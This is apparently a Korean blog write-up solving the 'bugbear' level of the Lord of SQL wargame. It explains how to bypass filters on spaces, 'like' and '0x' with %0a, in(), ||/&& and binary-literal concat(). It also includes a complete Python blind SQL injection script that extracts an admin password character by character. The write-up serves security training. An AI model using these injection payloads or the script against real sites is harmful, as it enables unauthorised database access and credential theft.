점점 필터링이 많아지네요..
이번에는 like, 공백, 0x 도 필터링이 되어있습니다.
우선 공백은 %0a로 대체할 수 있으며, like는 in으로 대체하면 됩니다.
이제 'admin'을 만들어야 하는데 전 문제에서는 Hex값으로 만들었지만 이번에는 필터링이 되어있습니다.
그렇다면 이번에는 0b 즉 2진수로 'admin'을 만들어 전송하면 됩니다.
2진수는 문자열 자체를 바꿀 수는 없기 때문에 한 글자 한 글자 바꿔주면 됩니다.
다행이 글자 수의 제한이 없기 때문에 가능한 작업입니다.
python으로 바꾸시려면 bin(ord('a')) 과 같이 ['a' → 10진수 → 2진수]로 변환하시면 됩니다.
문자를 하나씩 나눠 놨기 때문에 하나로 합치는 작업을 해야 합니다.
여기서 concat()이라는 내장 함수로 문자들을 합칠 수 있습니다.
아래와 같이 만들어서 전송하시면 "Hello admin"을 만나보실 수 있습니다.
복잡해 보이지만 다음과 같습니다.
공백 → %0a or → || and → && = → in() 'admin' → concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?' password = '' length = 0 #pw 길이 구하기 for i in range(1,99): query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0alength(pw)%0ain("+str(i)+")" payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): length = i print("length: "+str(length)) break #pw 구하기 for i in range(1,length+1): for j in range(48,127): query = "no=1%0a||%0aid%0ain(concat(0b1100001,0b1100100,0b1101101,0b1101001,0b1101110))%0a%26%26%0aleft(pw,"+str(i)+')%0ain("'+password+chr(j)+'")' payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
나온 답은 소문자로 ~
'WarGame > LOS(Lord of SQL)' 카테고리의 다른 글
[LOS] assassin (0) | 2018.10.08 |
---|---|
[LOS] giant (0) | 2018.10.07 |
[LOS] darkknight (0) | 2018.10.06 |
[LOS] golem (0) | 2018.10.06 |
[LOS] skeleton (0) | 2018.10.06 |